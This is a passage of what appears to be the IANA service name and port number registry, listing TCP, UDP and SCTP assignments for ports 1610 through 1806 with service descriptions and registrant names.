taurus-wh 1610 tcp taurus-wh [Jeff_Moffatt] [Jeff_Moffatt]
taurus-wh 1610 udp taurus-wh [Jeff_Moffatt] [Jeff_Moffatt]
ill 1611 tcp Inter Library Loan [Niall_Murphy] [Niall_Murphy]
ill 1611 udp Inter Library Loan [Niall_Murphy] [Niall_Murphy]
netbill-trans 1612 tcp NetBill Transaction Server
netbill-trans 1612 udp NetBill Transaction Server
netbill-keyrep 1613 tcp NetBill Key Repository
netbill-keyrep 1613 udp NetBill Key Repository
netbill-cred 1614 tcp NetBill Credential Server
netbill-cred 1614 udp NetBill Credential Server
netbill-auth 1615 tcp NetBill Authorization Server
netbill-auth 1615 udp NetBill Authorization Server
netbill-prod 1616 tcp NetBill Product Server [Marvin_Sirbu] [Marvin_Sirbu]
netbill-prod 1616 udp NetBill Product Server [Marvin_Sirbu] [Marvin_Sirbu]
nimrod-agent 1617 tcp Nimrod Inter-Agent [Charles_Lynn] [Charles_Lynn]
Communication
nimrod-agent 1617 udp Nimrod Inter-Agent [Charles_Lynn] [Charles_Lynn]
Communication
skytelnet 1618 tcp skytelnet [Byron_Jones] [Byron_Jones]
skytelnet 1618 udp skytelnet [Byron_Jones] [Byron_Jones]
xs-openstorage 1619 tcp xs-openstorage [XuiS_Software_Ltd] [XuiS_Software_Ltd]
xs-openstorage 1619 udp xs-openstorage [XuiS_Software_Ltd] [XuiS_Software_Ltd]
faxportwinport 1620 tcp faxportwinport [Chris_Wells] [Chris_Wells]
faxportwinport 1620 udp faxportwinport [Chris_Wells] [Chris_Wells]
softdataphone 1621 tcp softdataphone [Dror_Gill] [Dror_Gill]
softdataphone 1621 udp softdataphone [Dror_Gill] [Dror_Gill]
ontime 1622 tcp ontime [Keith_Rhodes] [Keith_Rhodes]
ontime 1622 udp ontime [Keith_Rhodes] [Keith_Rhodes]
jaleosnd 1623 tcp jaleosnd [Christian_Schormann] [Christian_Schormann]
jaleosnd 1623 udp jaleosnd [Christian_Schormann] [Christian_Schormann]
udp-sr-port 1624 tcp udp-sr-port [Herb_Jensen] [Herb_Jensen]
udp-sr-port 1624 udp udp-sr-port [Herb_Jensen] [Herb_Jensen]
svs-omagent 1625 tcp svs-omagent [Alberto_Berlen] [Alberto_Berlen]
svs-omagent 1625 udp svs-omagent [Alberto_Berlen] [Alberto_Berlen]
shockwave 1626 tcp Shockwave [Sarah_Allen] [Sarah_Allen]
shockwave 1626 udp Shockwave [Sarah_Allen] [Sarah_Allen]
t128-gateway 1627 tcp T.128 Gateway [Phil_May] [Phil_May]
t128-gateway 1627 udp T.128 Gateway [Phil_May] [Phil_May]
lontalk-norm 1628 tcp LonTalk normal
lontalk-norm 1628 udp LonTalk normal
lontalk-urgnt 1629 tcp LonTalk urgent [Bob_Dolin] [Bob_Dolin] 2008-04-10
lontalk-urgnt 1629 udp LonTalk urgent [Bob_Dolin] [Bob_Dolin] 2008-04-10
oraclenet8cman 1630 tcp Oracle Net8 Cman [Tong_Ming_Lee] [Tong_Ming_Lee]
oraclenet8cman 1630 udp Oracle Net8 Cman [Tong_Ming_Lee] [Tong_Ming_Lee]
visitview 1631 tcp Visit view [Tom_Whittaker] [Tom_Whittaker]
visitview 1631 udp Visit view [Tom_Whittaker] [Tom_Whittaker]
pammratc 1632 tcp PAMMRATC
pammratc 1632 udp PAMMRATC
pammrpc 1633 tcp PAMMRPC [John_Britton] [John_Britton]
pammrpc 1633 udp PAMMRPC [John_Britton] [John_Britton]
loaprobe 1634 tcp Log On America Probe [James_Tavares] [James_Tavares]
loaprobe 1634 udp Log On America Probe [James_Tavares] [James_Tavares]
edb-server1 1635 tcp EDB Server 1 [Carlos_Portela] [Carlos_Portela]
edb-server1 1635 udp EDB Server 1 [Carlos_Portela] [Carlos_Portela]
isdc 1636 tcp ISP shared public data
control
isdc 1636 udp ISP shared public data
control
islc 1637 tcp ISP shared local data
control
islc 1637 udp ISP shared local data
control
ismc 1638 tcp ISP shared management [Nick_Austin] [Nick_Austin]
control
ismc 1638 udp ISP shared management [Nick_Austin] [Nick_Austin]
control
cert-initiator 1639 tcp cert-initiator
cert-initiator 1639 udp cert-initiator
cert-responder 1640 tcp cert-responder [Tom_Markson] [Tom_Markson]
cert-responder 1640 udp cert-responder [Tom_Markson] [Tom_Markson]
invision 1641 tcp InVision [Christopher_Davey] [Christopher_Davey]
invision 1641 udp InVision [Christopher_Davey] [Christopher_Davey]
isis-am 1642 tcp isis-am
isis-am 1642 udp isis-am
isis-ambc 1643 tcp isis-ambc [Ken_Chapman] [Ken_Chapman]
isis-ambc 1643 udp isis-ambc [Ken_Chapman] [Ken_Chapman]
saiseh 1644 tcp Satellite-data Acquisition [Bill_Taylor] [Bill_Taylor]
System 4
saiseh 1644 udp Satellite-data Acquisition [Bill_Taylor] [Bill_Taylor]
System 4
sightline 1645 tcp SightLine [admin] [admin]
sightline 1645 udp SightLine [admin] [admin]
sa-msg-port 1646 tcp sa-msg-port [Eric_Whitehill] [Eric_Whitehill]
sa-msg-port 1646 udp sa-msg-port [Eric_Whitehill] [Eric_Whitehill]
rsap 1647 tcp rsap [Holger_Reif] [Holger_Reif]
rsap 1647 udp rsap [Holger_Reif] [Holger_Reif]
concurrent-lm 1648 tcp concurrent-lm [Maggie_Brinsford] [Maggie_Brinsford]
concurrent-lm 1648 udp concurrent-lm [Maggie_Brinsford] [Maggie_Brinsford]
kermit 1649 tcp kermit [Frank_da_Cruz] [Frank_da_Cruz]
kermit 1649 udp kermit [Frank_da_Cruz] [Frank_da_Cruz]
nkd 1650 tcp nkdn
nkd 1650 udp nkd
shiva_confsrvr
shiva-confsrvr 1651 tcp IANA assigned this [Mike_Horowitz] [Mike_Horowitz]
well-formed service name as
a replacement for
"shiva_confsrvr".
This entry is an alias to "shiva-confsrvr". This entry is now
shiva_confsrvr 1651 tcp shiva_confsrvr [Mike_Horowitz] [Mike_Horowitz] historic, not usable for use with many common service
discovery mechanisms.
shiva_confsrvr
shiva-confsrvr 1651 udp IANA assigned this [Mike_Horowitz] [Mike_Horowitz]
well-formed service name as
a replacement for
"shiva_confsrvr".
This entry is an alias to "shiva-confsrvr". This entry is now
shiva_confsrvr 1651 udp shiva_confsrvr [Mike_Horowitz] [Mike_Horowitz] historic, not usable for use with many common service
discovery mechanisms.
xnmp 1652 tcp xnmp [Ali_Saleh] [Ali_Saleh]
xnmp 1652 udp xnmp [Ali_Saleh] [Ali_Saleh]
alphatech-lm 1653 tcp alphatech-lm [Joseph_Hauk] [Joseph_Hauk]
alphatech-lm 1653 udp alphatech-lm [Joseph_Hauk] [Joseph_Hauk]
stargatealerts 1654 tcp stargatealerts [Tim_Coppernoll] [Tim_Coppernoll]
stargatealerts 1654 udp stargatealerts [Tim_Coppernoll] [Tim_Coppernoll]
dec-mbadmin 1655 tcp dec-mbadmin
dec-mbadmin 1655 udp dec-mbadmin
dec-mbadmin-h 1656 tcp dec-mbadmin-h [Nick_Shipman] [Nick_Shipman]
dec-mbadmin-h 1656 udp dec-mbadmin-h [Nick_Shipman] [Nick_Shipman]
fujitsu-mmpdc 1657 tcp fujitsu-mmpdc [Katsumi_Oomuro] [Katsumi_Oomuro]
fujitsu-mmpdc 1657 udp fujitsu-mmpdc [Katsumi_Oomuro] [Katsumi_Oomuro]
sixnetudr 1658 tcp sixnetudr [Red_Lion_Controls] [Denis_Aull] 2014-05-21
sixnetudr 1658 udp sixnetudr [Red_Lion_Controls] [Denis_Aull] 2014-05-21
sg-lm 1659 tcp Silicon Grail License [William_R_Bishop] [William_R_Bishop]
Manager
sg-lm 1659 udp Silicon Grail License [William_R_Bishop] [William_R_Bishop]
Manager
skip-mc-gikreq 1660 tcp skip-mc-gikreq [Tom_Markson] [Tom_Markson]
skip-mc-gikreq 1660 udp skip-mc-gikreq [Tom_Markson] [Tom_Markson]
netview-aix-1 1661 tcp netview-aix-1
netview-aix-1 1661 udp netview-aix-1
netview-aix-2 1662 tcp netview-aix-2
netview-aix-2 1662 udp netview-aix-2
netview-aix-3 1663 tcp netview-aix-3
netview-aix-3 1663 udp netview-aix-3
netview-aix-4 1664 tcp netview-aix-4
netview-aix-4 1664 udp netview-aix-4
netview-aix-5 1665 tcp netview-aix-5
netview-aix-5 1665 udp netview-aix-5
netview-aix-6 1666 tcp netview-aix-6
netview-aix-6 1666 udp netview-aix-6
netview-aix-7 1667 tcp netview-aix-7
netview-aix-7 1667 udp netview-aix-7
netview-aix-8 1668 tcp netview-aix-8
netview-aix-8 1668 udp netview-aix-8
netview-aix-9 1669 tcp netview-aix-9
netview-aix-9 1669 udp netview-aix-9
netview-aix-10 1670 tcp netview-aix-10
netview-aix-10 1670 udp netview-aix-10
netview-aix-11 1671 tcp netview-aix-11
netview-aix-11 1671 udp netview-aix-11
netview-aix-12 1672 tcp netview-aix-12 [Martha_Crisson] [Martha_Crisson]
netview-aix-12 1672 udp netview-aix-12 [Martha_Crisson] [Martha_Crisson]
proshare-mc-1 1673 tcp Intel Proshare Multicast
proshare-mc-1 1673 udp Intel Proshare Multicast
proshare-mc-2 1674 tcp Intel Proshare Multicast [Mark_Lewis] [Mark_Lewis]
proshare-mc-2 1674 udp Intel Proshare Multicast [Mark_Lewis] [Mark_Lewis]
pdp 1675 tcp Pacific Data Products [Gary_Morton] [Gary_Morton]
pdp 1675 udp Pacific Data Products [Gary_Morton] [Gary_Morton]
netcomm1 1676 tcp netcomm1
netcomm2 1676 udp netcomm2 [Bulent_Kasman] [Bulent_Kasman]
groupwise 1677 tcp groupwise [Brent_Bradshaw] [Brent_Bradshaw]
groupwise 1677 udp groupwise [Brent_Bradshaw] [Brent_Bradshaw]
prolink 1678 tcp prolink [Brian_Abramson] [Brian_Abramson]
prolink 1678 udp prolink [Brian_Abramson] [Brian_Abramson]
darcorp-lm 1679 tcp darcorp-lm [DARcorp] [DARcorp]
darcorp-lm 1679 udp darcorp-lm [DARcorp] [DARcorp]
microcom-sbp 1680 tcp microcom-sbp [Boris_B_Maiden] [Boris_B_Maiden]
microcom-sbp 1680 udp microcom-sbp [Boris_B_Maiden] [Boris_B_Maiden]
sd-elmd 1681 tcp sd-elmd [Bryan_Otey] [Bryan_Otey]
sd-elmd 1681 udp sd-elmd [Bryan_Otey] [Bryan_Otey]
lanyon-lantern 1682 tcp lanyon-lantern [Robin_Lewis] [Robin_Lewis]
lanyon-lantern 1682 udp lanyon-lantern [Robin_Lewis] [Robin_Lewis]
ncpm-hip 1683 tcp ncpm-hip [Ken_Hearn] [Ken_Hearn]
ncpm-hip 1683 udp ncpm-hip [Ken_Hearn] [Ken_Hearn]
snaresecure 1684 tcp SnareSecure [Marty_Batchelder] [Marty_Batchelder]
snaresecure 1684 udp SnareSecure [Marty_Batchelder] [Marty_Batchelder]
n2nremote 1685 tcp n2nremote [Kin_Chan_2] [Kin_Chan_2]
n2nremote 1685 udp n2nremote [Kin_Chan_2] [Kin_Chan_2]
cvmon 1686 tcp cvmon [Carol_Ann_Krug] [Carol_Ann_Krug]
cvmon 1686 udp cvmon [Carol_Ann_Krug] [Carol_Ann_Krug]
nsjtp-ctrl 1687 tcp nsjtp-ctrl
nsjtp-ctrl 1687 udp nsjtp-ctrl
nsjtp-data 1688 tcp nsjtp-data [Orazio_Granato] [Orazio_Granato]
nsjtp-data 1688 udp nsjtp-data [Orazio_Granato] [Orazio_Granato]
firefox 1689 tcp firefox [Mark_S_Edwards] [Mark_S_Edwards]
firefox 1689 udp firefox [Mark_S_Edwards] [Mark_S_Edwards]
ng-umds 1690 tcp ng-umds [Louis_E_Simard] [Louis_E_Simard]
ng-umds 1690 udp ng-umds [Louis_E_Simard] [Louis_E_Simard]
empire-empuma 1691 tcp empire-empuma [Bobby_Krupczak] [Bobby_Krupczak]
empire-empuma 1691 udp empire-empuma [Bobby_Krupczak] [Bobby_Krupczak]
sstsys-lm 1692 tcp sstsys-lm [Yih_Wu_Wang] [Yih_Wu_Wang]
sstsys-lm 1692 udp sstsys-lm [Yih_Wu_Wang] [Yih_Wu_Wang]
rrirtr 1693 tcp rrirtr
rrirtr 1693 udp rrirtr
rrimwm 1694 tcp rrimwm
rrimwm 1694 udp rrimwm
rrilwm 1695 tcp rrilwm
rrilwm 1695 udp rrilwm
rrifmm 1696 tcp rrifmm
rrifmm 1696 udp rrifmm
rrisat 1697 tcp rrisat [Allen_Briggs] [Allen_Briggs]
rrisat 1697 udp rrisat [Allen_Briggs] [Allen_Briggs]
rsvp-encap-1 1698 tcp RSVP-ENCAPSULATION-1
rsvp-encap-1 1698 udp RSVP-ENCAPSULATION-1
rsvp-encap-2 1699 tcp RSVP-ENCAPSULATION-2 [Bob_Braden_2] [Bob_Braden_2]
rsvp-encap-2 1699 udp RSVP-ENCAPSULATION-2 [Bob_Braden_2] [Bob_Braden_2]
mps-raft 1700 tcp mps-raft [Jason_Leupen] [Jason_Leupen]
mps-raft 1700 udp mps-raft [Jason_Leupen] [Jason_Leupen]
l2f 1701 tcp l2f
l2f 1701 udp l2f
l2tp 1701 tcp l2tp [Andy_Valencia] [Andy_Valencia]
l2tp 1701 udp l2tp [Andy_Valencia] [Andy_Valencia]
deskshare 1702 tcp deskshare [Sarah_Thompson] [Sarah_Thompson]
deskshare 1702 udp deskshare [Sarah_Thompson] [Sarah_Thompson]
hb-engine 1703 tcp hb-engine [Charles_C_L_Chou] [Charles_C_L_Chou]
hb-engine 1703 udp hb-engine [Charles_C_L_Chou] [Charles_C_L_Chou]
bcs-broker 1704 tcp bcs-broker [Andy_Warner] [Andy_Warner]
bcs-broker 1704 udp bcs-broker [Andy_Warner] [Andy_Warner]
slingshot 1705 tcp slingshot [Paul_Groarke] [Paul_Groarke]
slingshot 1705 udp slingshot [Paul_Groarke] [Paul_Groarke]
jetform 1706 tcp jetform [gdeinsta] [gdeinsta]
jetform 1706 udp jetform [gdeinsta] [gdeinsta]
vdmplay 1707 tcp vdmplay [David_Thielen] [David_Thielen]
vdmplay 1707 udp vdmplay [David_Thielen] [David_Thielen]
gat-lmd 1708 tcp gat-lmd [Igor_Zaoutine] [Igor_Zaoutine]
gat-lmd 1708 udp gat-lmd [Igor_Zaoutine] [Igor_Zaoutine]
centra 1709 tcp centra [Drew_Wolff] [Drew_Wolff]
centra 1709 udp centra [Drew_Wolff] [Drew_Wolff]
impera 1710 tcp impera [Stepehen_Campbell] [Stepehen_Campbell]
impera 1710 udp impera [Stepehen_Campbell] [Stepehen_Campbell]
pptconference 1711 tcp pptconference [John_Tafoya] [John_Tafoya]
pptconference 1711 udp pptconference [John_Tafoya] [John_Tafoya]
registrar 1712 tcp resource monitoring service [Ron_Lawson] [Ron_Lawson]
registrar 1712 udp resource monitoring service [Ron_Lawson] [Ron_Lawson]
conferencetalk 1713 tcp ConferenceTalk [George_Kajos] [George_Kajos]
conferencetalk 1713 udp ConferenceTalk [George_Kajos] [George_Kajos]
sesi-lm 1714 tcp sesi-lm
sesi-lm 1714 udp sesi-lm
houdini-lm 1715 tcp houdini-lm [Paul_Breslin] [Paul_Breslin]
houdini-lm 1715 udp houdini-lm [Paul_Breslin] [Paul_Breslin]
xmsg 1716 tcp xmsg [Mark_E_Fogle] [Mark_E_Fogle]
xmsg 1716 udp xmsg [Mark_E_Fogle] [Mark_E_Fogle]
fj-hdnet 1717 tcp fj-hdnet [Manabu_Makino] [Manabu_Makino]
fj-hdnet 1717 udp fj-hdnet [Manabu_Makino] [Manabu_Makino]
h323gatedisc 1718 tcp H.323 Multicast Gatekeeper [ITU-T] [ITU-T_TSB] 2013-01-31
Discover
h323gatedisc 1718 udp H.323 Multicast Gatekeeper [ITU-T] [ITU-T_TSB] 2013-01-31
Discover
h323gatestat 1719 tcp H.323 Unicast Gatekeeper [ITU-T] [ITU-T_TSB] 2013-01-31
Signaling
h323gatestat 1719 udp H.323 Unicast Gatekeeper [ITU-T] [ITU-T_TSB] 2013-01-31
Signaling
h323hostcall 1720 tcp H.323 Call Control [ITU-T] [ITU-T_TSB] 2013-01-31
Signalling
h323hostcall 1720 udp H.323 Call Control [ITU-T] [ITU-T_TSB] 2013-01-31
Signalling
h323hostcall 1720 sctp H.323 Call Control [ITU-T] 2014-07-30
caicci 1721 tcp caicci [Sylvia_Scheuren] [Sylvia_Scheuren]
caicci 1721 udp caicci [Sylvia_Scheuren] [Sylvia_Scheuren]
hks-lm 1722 tcp HKS License Manager [Michael_Wood] [Michael_Wood]
hks-lm 1722 udp HKS License Manager [Michael_Wood] [Michael_Wood]
pptp 1723 tcp pptp [Ken_Crocker] [Ken_Crocker]
pptp 1723 udp pptp [Ken_Crocker] [Ken_Crocker]
csbphonemaster 1724 tcp csbphonemaster [Hans_Peter_Heffels] [Hans_Peter_Heffels]
csbphonemaster 1724 udp csbphonemaster [Hans_Peter_Heffels] [Hans_Peter_Heffels]
iden-ralp 1725 tcp iden-ralp [Chris_Stanaway] [Chris_Stanaway]
iden-ralp 1725 udp iden-ralp [Chris_Stanaway] [Chris_Stanaway]
iberiagames 1726 tcp IBERIAGAMES [Jose_Luis] [Jose_Luis]
iberiagames 1726 udp IBERIAGAMES [Jose_Luis] [Jose_Luis]
winddx 1727 tcp winddx [Bill_Andrews] [Bill_Andrews]
winddx 1727 udp winddx [Bill_Andrews] [Bill_Andrews]
telindus 1728 tcp TELINDUS [Paul_Pyck] [Paul_Pyck]
telindus 1728 udp TELINDUS [Paul_Pyck] [Paul_Pyck]
citynl 1729 tcp CityNL License Management [CityDisc] [CityDisc]
citynl 1729 udp CityNL License Management [CityDisc] [CityDisc]
roketz 1730 tcp roketz [Ahti_Heinla] [Ahti_Heinla]
roketz 1730 udp roketz [Ahti_Heinla] [Ahti_Heinla]
msiccp 1731 tcp MSICCP [Max_Morris] [Max_Morris]
msiccp 1731 udp MSICCP [Max_Morris] [Max_Morris]
proxim 1732 tcp proxim [Srinivas_N_Mogalapa] [Srinivas_N_Mogalapa]
proxim 1732 udp proxim [Srinivas_N_Mogalapa] [Srinivas_N_Mogalapa]
siipat 1733 tcp SIMS - SIIPAT Protocol for [Steve_Ryckman] [Steve_Ryckman]
Alarm Transmission
siipat 1733 udp SIMS - SIIPAT Protocol for [Steve_Ryckman] [Steve_Ryckman]
Alarm Transmission
cambertx-lm 1734 tcp Camber Corporation License [Jeannie_Burleson] [Jeannie_Burleson]
Management
cambertx-lm 1734 udp Camber Corporation License [Jeannie_Burleson] [Jeannie_Burleson]
Management
privatechat 1735 tcp PrivateChat [Louis_E_Simard] [Louis_E_Simard]
privatechat 1735 udp PrivateChat [Louis_E_Simard] [Louis_E_Simard]
street-stream 1736 tcp street-stream [Glenn_Levitt] [Glenn_Levitt]
street-stream 1736 udp street-stream [Glenn_Levitt] [Glenn_Levitt]
ultimad 1737 tcp ultimad [Michael_Lanzetta] [Michael_Lanzetta]
ultimad 1737 udp ultimad [Michael_Lanzetta] [Michael_Lanzetta]
gamegen1 1738 tcp GameGen1 [Glen_Pearson] [Glen_Pearson]
gamegen1 1738 udp GameGen1 [Glen_Pearson] [Glen_Pearson]
webaccess 1739 tcp webaccess [Christian_Saether] [Christian_Saether]
webaccess 1739 udp webaccess [Christian_Saether] [Christian_Saether]
encore 1740 tcp encore [Stuart_Button] [Stuart_Button]
encore 1740 udp encore [Stuart_Button] [Stuart_Button]
cisco-net-mgmt 1741 tcp cisco-net-mgmt [John_McCormack] [John_McCormack]
cisco-net-mgmt 1741 udp cisco-net-mgmt [John_McCormack] [John_McCormack]
3Com-nsd 1742 tcp 3Com-nsd [Nitza_Steinberg] [Nitza_Steinberg]
3Com-nsd 1742 udp 3Com-nsd [Nitza_Steinberg] [Nitza_Steinberg]
cinegrfx-lm 1743 tcp Cinema Graphics License [Rodney_Iwashina] [Rodney_Iwashina]
Manager
cinegrfx-lm 1743 udp Cinema Graphics License [Rodney_Iwashina] [Rodney_Iwashina]
Manager
ncpm-ft 1744 tcp ncpm-ft [Ken_Hearn] [Ken_Hearn]
ncpm-ft 1744 udp ncpm-ft [Ken_Hearn] [Ken_Hearn]
remote-winsock 1745 tcp remote-winsock [Avi_Nathan] [Avi_Nathan]
remote-winsock 1745 udp remote-winsock [Avi_Nathan] [Avi_Nathan]
ftrapid-1 1746 tcp ftrapid-1
ftrapid-1 1746 udp ftrapid-1
ftrapid-2 1747 tcp ftrapid-2 [Richard_J_Williams] [Richard_J_Williams]
ftrapid-2 1747 udp ftrapid-2 [Richard_J_Williams] [Richard_J_Williams]
oracle-em1 1748 tcp oracle-em1 [Bob_Purvy] [Bob_Purvy]
oracle-em1 1748 udp oracle-em1 [Bob_Purvy] [Bob_Purvy]
aspen-services 1749 tcp aspen-services [Mark_B_Hurst] [Mark_B_Hurst]
aspen-services 1749 udp aspen-services [Mark_B_Hurst] [Mark_B_Hurst]
sslp 1750 tcp Simple Socket Library's [Dr_Charles_E_Campb] [Dr_Charles_E_Campb]
PortMaster
sslp 1750 udp Simple Socket Library's [Dr_Charles_E_Campb] [Dr_Charles_E_Campb]
PortMaster
swiftnet 1751 tcp SwiftNet [Terry_Lim] [Terry_Lim]
swiftnet 1751 udp SwiftNet [Terry_Lim] [Terry_Lim]
lofr-lm 1752 tcp Leap of Faith Research
License Manager
lofr-lm 1752 udp Leap of Faith Research
License Manager
predatar-comms 1753 tcp Predatar Comms Service [Silverstring_Ltd] [Ronnie_De_Giorgio] 2011-09-15
1753 udp Reserved
oracle-em2 1754 tcp oracle-em2 [Bob_Purvy] [Bob_Purvy]
oracle-em2 1754 udp oracle-em2 [Bob_Purvy] [Bob_Purvy]
ms-streaming 1755 tcp ms-streaming [Bret_O_Rourke] [Bret_O_Rourke]
ms-streaming 1755 udp ms-streaming [Bret_O_Rourke] [Bret_O_Rourke]
capfast-lmd 1756 tcp capfast-lmd [Chuck_Neal] [Chuck_Neal]
capfast-lmd 1756 udp capfast-lmd [Chuck_Neal] [Chuck_Neal]
cnhrp 1757 tcp cnhrp [William_Stoye] [William_Stoye]
cnhrp 1757 udp cnhrp [William_Stoye] [William_Stoye]
tftp-mcast 1758 tcp tftp-mcast [Tom_Emberson] [Tom_Emberson]
tftp-mcast 1758 udp tftp-mcast [Tom_Emberson] [Tom_Emberson]
spss-lm 1759 tcp SPSS License Manager [Tex_Hull] [Tex_Hull]
spss-lm 1759 udp SPSS License Manager [Tex_Hull] [Tex_Hull]
www-ldap-gw 1760 tcp www-ldap-gw [Nick_Emery] [Nick_Emery]
www-ldap-gw 1760 udp www-ldap-gw [Nick_Emery] [Nick_Emery]
cft-0 1761 tcp cft-0 [Martine_Marchand] [Martine_Marchand]
cft-0 1761 udp cft-0 [Martine_Marchand] [Martine_Marchand]
cft-1 1762 tcp cft-1 [Martine_Marchand] [Martine_Marchand]
cft-1 1762 udp cft-1 [Martine_Marchand] [Martine_Marchand]
cft-2 1763 tcp cft-2 [Martine_Marchand] [Martine_Marchand]
cft-2 1763 udp cft-2 [Martine_Marchand] [Martine_Marchand]
cft-3 1764 tcp cft-3 [Martine_Marchand] [Martine_Marchand]
cft-3 1764 udp cft-3 [Martine_Marchand] [Martine_Marchand]
cft-4 1765 tcp cft-4 [Martine_Marchand] [Martine_Marchand]
cft-4 1765 udp cft-4 [Martine_Marchand] [Martine_Marchand]
cft-5 1766 tcp cft-5 [Martine_Marchand] [Martine_Marchand]
cft-5 1766 udp cft-5 [Martine_Marchand] [Martine_Marchand]
cft-6 1767 tcp cft-6 [Martine_Marchand] [Martine_Marchand]
cft-6 1767 udp cft-6 [Martine_Marchand] [Martine_Marchand]
cft-7 1768 tcp cft-7 [Martine_Marchand] [Martine_Marchand]
cft-7 1768 udp cft-7 [Martine_Marchand] [Martine_Marchand]
bmc-net-adm 1769 tcp bmc-net-adm [Portnoy_Boxman] [Portnoy_Boxman]
bmc-net-adm 1769 udp bmc-net-adm [Portnoy_Boxman] [Portnoy_Boxman]
bmc-net-svc 1770 tcp bmc-net-svc [Portnoy_Boxman] [Portnoy_Boxman]
bmc-net-svc 1770 udp bmc-net-svc [Portnoy_Boxman] [Portnoy_Boxman]
vaultbase 1771 tcp vaultbase [Jose_A_Sesin] [Jose_A_Sesin]
vaultbase 1771 udp vaultbase [Jose_A_Sesin] [Jose_A_Sesin]
essweb-gw 1772 tcp EssWeb Gateway [Bob_Nattenberg] [Bob_Nattenberg]
essweb-gw 1772 udp EssWeb Gateway [Bob_Nattenberg] [Bob_Nattenberg]
kmscontrol 1773 tcp KMSControl [Roy_Chastain] [Roy_Chastain]
kmscontrol 1773 udp KMSControl [Roy_Chastain] [Roy_Chastain]
global-dtserv 1774 tcp global-dtserv [Nicholas_Davies] [Nicholas_Davies]
global-dtserv 1774 udp global-dtserv [Nicholas_Davies] [Nicholas_Davies]
vdab 1775 tcp data interchange between [MJA_Technology_LLC] [Mark_J._App] 2014-04-23
visual processing containers
1775 udp Reserved
femis 1776 tcp Federal Emergency Management [Larry_Gerhardstein] [Larry_Gerhardstein]
Information System
femis 1776 udp Federal Emergency Management [Larry_Gerhardstein] [Larry_Gerhardstein]
Information System
powerguardian 1777 tcp powerguardian [Charles_Bennett] [Charles_Bennett] 2008-08-29
powerguardian 1777 udp powerguardian [Charles_Bennett] [Charles_Bennett] 2008-08-29
prodigy-intrnet 1778 tcp prodigy-internet [Bob_Dedrick] [Bob_Dedrick]
prodigy-intrnet 1778 udp prodigy-internet [Bob_Dedrick] [Bob_Dedrick]
pharmasoft 1779 tcp pharmasoft [Ola_Strandberg] [Ola_Strandberg]
pharmasoft 1779 udp pharmasoft [Ola_Strandberg] [Ola_Strandberg]
dpkeyserv 1780 tcp dpkeyserv [Yasunari_Gon_Yamasit] [Yasunari_Gon_Yamasit]
dpkeyserv 1780 udp dpkeyserv [Yasunari_Gon_Yamasit] [Yasunari_Gon_Yamasit]
answersoft-lm 1781 tcp answersoft-lm [James_A_Brewster] [James_A_Brewster]
answersoft-lm 1781 udp answersoft-lm [James_A_Brewster] [James_A_Brewster]
hp-hcip 1782 tcp hp-hcip [Allen_Baker] [Allen_Baker]
hp-hcip 1782 udp hp-hcip [Allen_Baker] [Allen_Baker]
1783 Decomissioned Port 04/14/00, [naonao] [naonao]
ms
finle-lm 1784 tcp Finle License Manager [Dongling_Wang] [Dongling_Wang]
finle-lm 1784 udp Finle License Manager [Dongling_Wang] [Dongling_Wang]
windlm 1785 tcp Wind River Systems License [Will_Dere] [Will_Dere]
Manager
windlm 1785 udp Wind River Systems License [Will_Dere] [Will_Dere]
Manager
funk-logger 1786 tcp funk-logger
funk-logger 1786 udp funk-logger
funk-license 1787 tcp funk-license [Cimarron_Boozer][Eric_Wilde] [Cimarron_Boozer][Eric_Wilde]
funk-license 1787 udp funk-license [Cimarron_Boozer][Eric_Wilde] [Cimarron_Boozer][Eric_Wilde]
psmond 1788 tcp psmond [Will_Golson] [Will_Golson]
psmond 1788 udp psmond [Will_Golson] [Will_Golson]
hello 1789 tcp hello [D_J_Bernstein] [D_J_Bernstein] 2018-04-05
hello 1789 udp hello [D_J_Bernstein] [D_J_Bernstein] 2018-04-05
nmsp 1790 tcp Narrative Media Streaming [Paul_Santinelli_Jr] [Paul_Santinelli_Jr]
Protocol
nmsp 1790 udp Narrative Media Streaming [Paul_Santinelli_Jr] [Paul_Santinelli_Jr]
Protocol
ea1 1791 tcp EA1 [Kirk_MacLean] [Kirk_MacLean]
ea1 1791 udp EA1 [Kirk_MacLean] [Kirk_MacLean]
ibm-dt-2 1792 tcp ibm-dt-2 [Sam_Borman] [Sam_Borman]
ibm-dt-2 1792 udp ibm-dt-2 [Sam_Borman] [Sam_Borman]
rsc-robot 1793 tcp rsc-robot [Andrew_Jay_Schneider] [Andrew_Jay_Schneider]
rsc-robot 1793 udp rsc-robot [Andrew_Jay_Schneider] [Andrew_Jay_Schneider]
cera-bcm 1794 tcp cera-bcm [Leo_Moesgaard] [Leo_Moesgaard]
cera-bcm 1794 udp cera-bcm [Leo_Moesgaard] [Leo_Moesgaard]
dpi-proxy 1795 tcp dpi-proxy [Charles_Gordon] [Charles_Gordon]
dpi-proxy 1795 udp dpi-proxy [Charles_Gordon] [Charles_Gordon]
vocaltec-admin 1796 tcp Vocaltec Server [Scott_Petrack] [Scott_Petrack]
Administration
vocaltec-admin 1796 udp Vocaltec Server [Scott_Petrack] [Scott_Petrack]
Administration
uma 1797 tcp UMA [Martin_Kirk] [Martin_Kirk]
uma 1797 udp UMA [Martin_Kirk] [Martin_Kirk]
etp 1798 tcp Event Transfer Protocol [Mike_Wray] [Mike_Wray]
etp 1798 udp Event Transfer Protocol [Mike_Wray] [Mike_Wray]
netrisk 1799 tcp NETRISK [Kevin_Green] [Kevin_Green]
netrisk 1799 udp NETRISK [Kevin_Green] [Kevin_Green]
ansys-lm 1800 tcp ANSYS-License manager [Suzanne_Lorrin_2] [Suzanne_Lorrin_2]
ansys-lm 1800 udp ANSYS-License manager [Suzanne_Lorrin_2] [Suzanne_Lorrin_2]
msmq 1801 tcp Microsoft Message Que [Amnon_Horowitz] [Amnon_Horowitz]
msmq 1801 udp Microsoft Message Que [Amnon_Horowitz] [Amnon_Horowitz]
concomp1 1802 tcp ConComp1 [Ed_Vincent] [Ed_Vincent]
concomp1 1802 udp ConComp1 [Ed_Vincent] [Ed_Vincent]
hp-hcip-gwy 1803 tcp HP-HCIP-GWY [Allen_Baker] [Allen_Baker]
hp-hcip-gwy 1803 udp HP-HCIP-GWY [Allen_Baker] [Allen_Baker]
enl 1804 tcp ENL [Brian_Olson] [Brian_Olson]
enl 1804 udp ENL [Brian_Olson] [Brian_Olson]
enl-name 1805 tcp ENL-Name [Brian_Olson] [Brian_Olson]
enl-name 1805 udp ENL-Name [Brian_Olson] [Brian_Olson]
musiconline 1806 tcp Musiconline [Craig_Weeks] [Craig_Weeks]
musiconline 1806 udp Musiconline [Craig_Weeks] [Craig_Weeks]
